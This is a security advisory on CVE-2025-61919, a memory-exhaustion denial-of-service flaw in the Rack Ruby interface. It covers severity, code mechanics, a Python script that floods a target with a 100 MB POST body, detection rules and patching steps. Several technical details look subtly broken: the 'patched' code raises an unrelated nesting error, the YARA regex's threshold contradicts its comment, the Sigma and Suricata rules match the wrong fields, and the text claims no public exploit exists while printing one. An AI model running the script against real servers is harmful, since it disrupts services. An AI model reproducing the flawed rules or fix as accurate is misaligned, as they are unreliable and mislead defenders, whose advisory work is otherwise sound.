CVE-2025-61919

Executive Summary

CVE-2025-61919 is a high-severity Denial of Service (DoS) vulnerability in the Rack Ruby web server interface. The flaw resides in Rack::Request#POST, which reads the entire request body into memory for Content-Type: application/x-www-form-urlencoded without enforcing a length or cap. An attacker can send a large request body, causing memory exhaustion and service disruption. The vulnerability affects all Rack versions prior to 2.2.20, 3.1.18, and 3.2.3. No public exploit code or proof-of-concept is currently available, but the attack vector is straightforward and requires no authentication.

Supply Chain & Package Security

This vulnerability affects the Rack gem, a core component of the Ruby web ecosystem. Rack is a dependency for many Ruby web frameworks, including Ruby on Rails, Sinatra, and others. A successful DoS attack against a Rack-based application can cascade to affect all services relying on that application. Organizations should audit their Gemfile.lock for affected Rack versions and prioritize patching. The RubyGems package manager does not automatically enforce version limits, so manual updates are required.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): None (N)
• Scope (S): Unchanged (U)
• Confidentiality (C): None (N)
• Integrity (I): None (N)
• Availability (A): High (H)

The vulnerability is easily exploitable over the network with no authentication, making it a significant threat to availability. The low attack complexity and lack of required privileges increase the risk of widespread exploitation.

Deep Dive & Mechanics

The vulnerability is in the Rack::Request#POST method. When a request with Content-Type: application/x-www-form-urlencoded is received, the method calls rack.input.read(nil) to read the entire request body into memory. The nil argument means "read all available data," which can be an unbounded amount. This leads to memory exhaustion if an attacker sends a large payload.

The fix introduces a bytesize_limit parameter in the query_parser configuration. This limit is enforced before reading the entire body, preventing unbounded memory allocation. The patched code checks the content length against the limit and raises an error if exceeded.

Vulnerable vs. Patched Code

Vulnerable Code (Rack < 2.2.20, < 3.1.18, < 3.2.3):

# In Rack::Request#POST
def POST
  if @env["rack.input"]
    @env["rack.input"].rewind if @env["rack.input"].respond_to?(:rewind)
    @env["rack.input"].read(nil)  # Unbounded read
  end
end

Patched Code (Rack >= 2.2.20, >= 3.1.18, >= 3.2.3):

# In Rack::Request#POST
def POST
  if @env["rack.input"]
    @env["rack.input"].rewind if @env["rack.input"].respond_to?(:rewind)
    # Enforce bytesize_limit
    limit = query_parser.bytesize_limit
    if limit && @env["CONTENT_LENGTH"].to_i > limit
      raise Rack::QueryParser::ParamsTooDeepError, "params are too deep"
    end
    @env["rack.input"].read(limit)  # Limited read
  end
end

Exploitation & Lab Setup

Red Team

To exploit this vulnerability, an attacker sends a POST request with a large body and Content-Type: application/x-www-form-urlencoded. The following Python script demonstrates the attack:

import requests

url = "http://target.com/path"
# Generate a large payload (e.g., 100 MB)
payload = "a" * 100 * 1024 * 1024
headers = {"Content-Type": "application/x-www-form-urlencoded"}

try:
    response = requests.post(url, data=payload, headers=headers, timeout=10)
    print(f"Response status: {response.status_code}")
except requests.exceptions.Timeout:
    print("Request timed out - possible DoS")
except Exception as e:
    print(f"Error: {e}")

Lab Setup:

1. Deploy a vulnerable Rack application (e.g., a simple Sinatra app) on a local server.
2. Use the above script to send a large payload.
3. Monitor memory usage on the server (e.g., using top or htop). The server should consume excessive memory and potentially crash.

Blue Team

Detection:

• Monitor for POST requests with unusually large Content-Length headers.
• Use network monitoring tools to detect large payloads.
• Implement rate limiting and request size limits at the proxy level.

Mitigation:

• Apply the patch by upgrading Rack to version 2.2.20, 3.1.18, or 3.2.3.
• Enforce strict maximum body size at the proxy or web server layer (e.g., Nginx client_max_body_size, Apache LimitRequestBody).
• Use Web Application Firewall (WAF) rules to block requests with excessive body sizes.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests with Content-Type: application/x-www-form-urlencoded and Content-Length exceeding 10 MB.
  • High memory usage on web servers without corresponding legitimate traffic.
• System IOCs:
  • Out-of-memory (OOM) killer logs in /var/log/kern.log or dmesg.
  • Web server process crashes or restarts.
• Application IOCs:
  • Error logs indicating Rack::QueryParser::ParamsTooDeepError (if patched but misconfigured).
  • Slow response times or timeouts for POST requests.

Detection Engineering

YARA Rule

rule CVE_2025_61919_Rack_DoS {
    meta:
        description = "Detects Rack DoS exploit attempts via large POST bodies"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-61919"
    strings:
        $content_type = "application/x-www-form-urlencoded"
        $large_body = /Content-Length:\s*[0-9]{7,}/  // 10 million+ bytes
    condition:
        $content_type and $large_body
}

Sigma Rule

title: CVE-2025-61919 Rack DoS Exploit Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects POST requests with large body size targeting Rack applications
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: "application/x-www-form-urlencoded"
        sc-bytes|gte: 10000000  # 10 MB
    condition: selection
falsepositives:
    - Legitimate large file uploads (if allowed)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-61919 Rack DoS Exploit Attempt"; flow:to_server; content:"POST"; http_method; content:"application/x-www-form-urlencoded"; http_content_type; content:!"Referer"; http_header_names; byte_test:1,>,10000000,0,relative,string,dec; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Patch: Upgrade Rack to version 2.2.20, 3.1.18, or 3.2.3. This is the primary fix.
2. Web Server Configuration: Enforce strict maximum body size at the proxy or web server layer:
   • Nginx: client_max_body_size 10M;
   • Apache: LimitRequestBody 10485760 (10 MB)
3. WAF Rules: Deploy Web Application Firewall rules to block requests with excessive body sizes.
4. Monitoring: Implement monitoring for memory usage and request sizes to detect potential attacks.
5. Rate Limiting: Apply rate limiting to POST endpoints to reduce the impact of DoS attempts.

Valters IT